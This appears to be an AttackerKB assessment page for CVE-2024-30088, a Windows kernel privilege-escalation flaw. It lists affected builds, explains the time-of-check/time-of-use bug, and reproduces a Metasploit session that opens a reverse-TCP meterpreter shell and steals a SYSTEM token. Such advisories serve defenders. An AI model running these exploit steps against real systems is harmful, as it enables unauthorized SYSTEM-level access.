High
CVE-2024-30088
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
CVE-2024-30088
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
Windows Kernel Elevation of Privilege Vulnerability
Add Assessment
Ratings
-
Attacker ValueHigh
-
ExploitabilityHigh
Technical Analysis
CVE-2024-30088 is a Windows Kernel Elevation of Privilege Vulnerability which affects many recent versions of Windows 10, Windows 11 and Windows Server 2016, 2019 and 2022. The list of affected Windows is as follows:
- Windows 10 1507 before 10.0.10240.20680
- Windows 10 1607 before 10.0.14393.7070
- Windows 10 1809 before 10.0.17763.5936
- Windows 10 21h2 before 10.0.19044.4529
- Windows 10 22h2 before 10.0.19045.4529
- Windows 11 21h2 before 10.0.22000.3019
- Windows 11 22h2 before 10.0.22621.3737
- Windows 11 23h2 before 10.0.22631.3737
- Windows Server 2016 before 10.0.14393.7070
- Windows Server 2019 before 10.0.17763.5936
- Windows Server 2022 before 10.0.20348.2522
- Windows Server 2022 23h2 before 10.0.25398.950
The vulnerability exists inside the function called AuthzBasepCopyoutInternalSecurityAttributes
specifically when the kernel copies the _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION
of the current token object to user mode:
struct _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION { ULONG SecurityAttributeCount; //0x0 struct _LIST_ENTRY SecurityAttributesList; //0x8 ULONG WorkingSecurityAttributeCount; //0x18 struct _LIST_ENTRY WorkingSecurityAttributesList; //0x20 };
When the kernel performs the copy of the SecurityAttributesList
, it sets the list of the SecurityAttribute
’s structure directly to the user supplied pointer. It then calls RtlCopyUnicodeString
and AuthzBasepCopyoutInternalSecurityAttributeValues
to copy out the names and values of the SecurityAttribute
leading to multiple Time Of Check Time Of Use (TOCTOU) vulnerabilities in the function.
The bug is easy to exploit if you have a user level session running on an affected windows version (of which there are many) and because it provides SYSTEM level access I gave this a 4/5 for both Attacker Value and Exploitability.
A metasploit module is currently up for review in a pull request at the time of writing and can be exploited like so:
msf6 > use windows/local/cve_2024_30038_authz_basep [*] Using configured payload windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/local/cve_2024_30038_authz_basep) > set session -1 session => -1 msf6 exploit(windows/local/cve_2024_30088_authz_basep) > exploit [*] Started reverse TCP handler on 172.16.199.1:5555 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Version detected: Windows 10+ Build 19045 [*] Reflectively injecting the DLL into 696... [+] The exploit was successful, reading SYSTEM token from memory... [+] Successfully stole winlogon handle: 3432 [+] Successfully retrieved winlogon pid: 452 [*] Sending stage (201798 bytes) to 172.16.199.208 [*] Meterpreter session 18 opened (172.16.199.1:5555 -> 172.16.199.208:52890) at 2024-08-30 12:45:49 -0700 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > sysinfo Computer : DESKTOP-FGNRA7E OS : Windows 10 (10.0 Build 19045). Architecture : x64 System Language : en_US Domain : WORKGROUP Logged On Users : 2 Meterpreter : x64/windows meterpreter >
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
Vendors
- microsoft
Products
- windows 10 1507,
- windows 10 1607,
- windows 10 1809,
- windows 10 21h2,
- windows 10 22h2,
- windows 11 21h2,
- windows 11 22h2,
- windows 11 23h2,
- windows server 2016,
- windows server 2019,
- windows server 2022,
- windows server 2022 23h2
References
Exploit
A PoC added here by the AKB Worker must have at least 2 GitHub stars.
Additional Info
Technical Analysis
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: